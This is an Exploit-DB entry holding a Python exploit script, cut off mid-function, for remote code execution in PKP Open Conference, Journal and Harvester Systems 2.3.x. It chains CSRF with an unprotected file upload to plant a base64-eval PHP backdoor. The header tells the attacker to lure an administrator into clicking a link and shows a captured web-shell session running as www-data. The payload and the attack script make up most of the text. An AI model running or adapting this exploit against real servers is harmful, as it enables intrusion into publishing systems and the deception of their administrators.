Exploit-DB #18266
Description: Open Conference/Journal/Harvester Systems 2.3.x - Multiple Remote Code Execution Vulnerabilities
Type: webapps
Platform: php
Date: 2011-12-23
Author: mr_me

Exploit:
#!/usr/bin/python
#
# Open Conference/Journal/Harvester Systems <= 2.3.X multiple remote code execution vulnerabilities
# vendor_________: Public Knowledge Project (pkp) -http://pkp.sfu.ca/
# software link__: http://pkp.sfu.ca/download
# author_________: mr_me::rwx kru
# email__________: steventhomasseeley!gmail!com
# tested on______: the interwebz & a LAMP stack using all 3 applications :)
# 
# Vulnerable applications by pkp:
# - Open Conference Systems <= v2.3.4
# - Open Journal Systems <= v2.3.6
# - Open Harvester Systems <= v2.3.1
#
# Greetz to @kkotowicz, @malerisch and other busticati
#
# References:
# -----------
# http://blog.malerisch.net/2011/12/csrf-file-upload-poc.html
# http://www.html5rocks.com/en/tutorials/file/xhr2/
#
# Description:
# ------------
# PKP has developed free, open source software for the management, publishing, and indexing of journals and conferences. 
# Open Journal Systems and Open #Conference Systems increase access to knowledge, improve management, and reduce publishing costs. 
# Open Harvester systems allows the creation of #centralized search services on metadata from Open Archives Initiative-compliant databases.
# 
# Vuln description:
# -----------------
# There is a few file upload vulnerabilities in the administrative interfaces of these applications that are 
# unprotected and allow any peepz to CSRF it. I'm sick of vendors ignoring me on this kind of bug.
#
# Exploit requirement: 
# --------------------
# - Find the target conference/journal/archive: just visit http://[target]/[path]/index.php
#   It will be a string value in a URI embeded in the page. Just use the first conference/journal/archive, and it will be id 1.
# - You will need to embed the link into the application too and hope the admin gets curious..
#   Maybe you could make a 'submission' to the conference, journal or archive entry or send a kind email ;)
# ============================================================================================
# mr_me@gliese:~/$ python ocs_csrf_rce.py -p localhost:8081 -t 192.168.220.134 -d ocs-2.3.4 -P 9090 -s seriousbiz
#
#		+==============================================================================================+
#		| Open Conference/Journal/Harvester Systems <= 2.3.X csrf/upload/remote code execution exploit |
#		| Found by: mr_me						 	  		       |
#		+==============================================================================================+
# (+) Testing proxy @ localhost:8081.. proxy is found to be working!
# (+) Listening on local port 9090.
# (+) Have someone connect to you at http://127.0.0.1:9090/
#
# Type <ctrl>-c to exit..
#
# localhost - - [23/Dec/2011 18:15:21] "GET / HTTP/1.1" 200 -
#
# (+) Exploit sent to the client target 127.0.0.1 attacking 192.168.220.134.
# (-) Code injection and execution failed!
# (-) Target client may not logged into the admin interface of Open Systems..!
#
# localhost - - [23/Dec/2011 18:15:39] "GET / HTTP/1.1" 200 -
#
# (+) Exploit sent to the client target 127.0.0.1 attacking 192.168.220.134.
# (!) Code injection worked!
# (!) Launching webshell..!
#
# opensys_shell@192.168.220.134# id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
# opensys_shell@192.168.220.134# uname -a
# Linux steve-web-server 2.6.35-31-generic #62-Ubuntu SMP Tue Nov 8 14:00:30 UTC 2011 i686 GNU/Linux
#
# opensys_shell@192.168.220.134# q
#
# (+) Back to listening..
#
# ^C(-) Exiting Exploit.
#
# .. have a merry christmas & happy new year !

import sys
import urllib
import urllib2

from optparse import OptionParser
from BaseHTTPServer import HTTPServer 
from BaseHTTPServer import BaseHTTPRequestHandler 
from socket import gethostbyname, gethostname
from time import sleep
from base64 import b64encode
 
usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d ocs-2.3.4 -P 80 -s seriousbiz"
 
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="target_path",
                  help="Directory path to the Open Conference/Journal/Harvester Systems")
parser.add_option("-s", type="string", action="store", dest="conf_jour_arch",
                  help="The target conference/journal/archive")
parser.add_option("-P", type="int", action="store", dest="localport",
                  help="The local port to have the target client connect back on")
 
(options, args) = parser.parse_args()

# some variables
phpkode = "<?php error_reporting(0); eval(base64_decode($_SERVER[HTTP_HAX])); ?>" # change the code if you want
app_entry_id = "1" # change to the right conference/journal/archive id (default = 1)
app_type = "journals" # (conferences, journals or archives)

def banner():
    print ("\n\t| -------------------------------------------------------------------------------------------- |")
    print ("\t| Open Conference/Journal/Harvester Systems <= 2.3.4 csrf/upload remote code execution exploit |")
    print ("\t| found by mr_me ----------------------------------------------------------------------------- |\n")

def test_proxy():
	check = 1
	sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
	sys.stdout.flush()
	try:
		req = urllib2.Request("http://www.google.com/")
		req.set_proxy(options.proxy,"http")
		check = urllib2.urlopen(req)
	except:
		check = 0
		pass
	if check != 0:
		sys.stdout.write("proxy is found to be working!\n")
		sys.stdout.flush()
	else:
		print ("proxy failed, exiting..")
		sys.exit(1)

def submit_request(exploit, header=None, data=None):
	try:
		if header != None:
			headers = {}
			headers['Hax'] = header
		if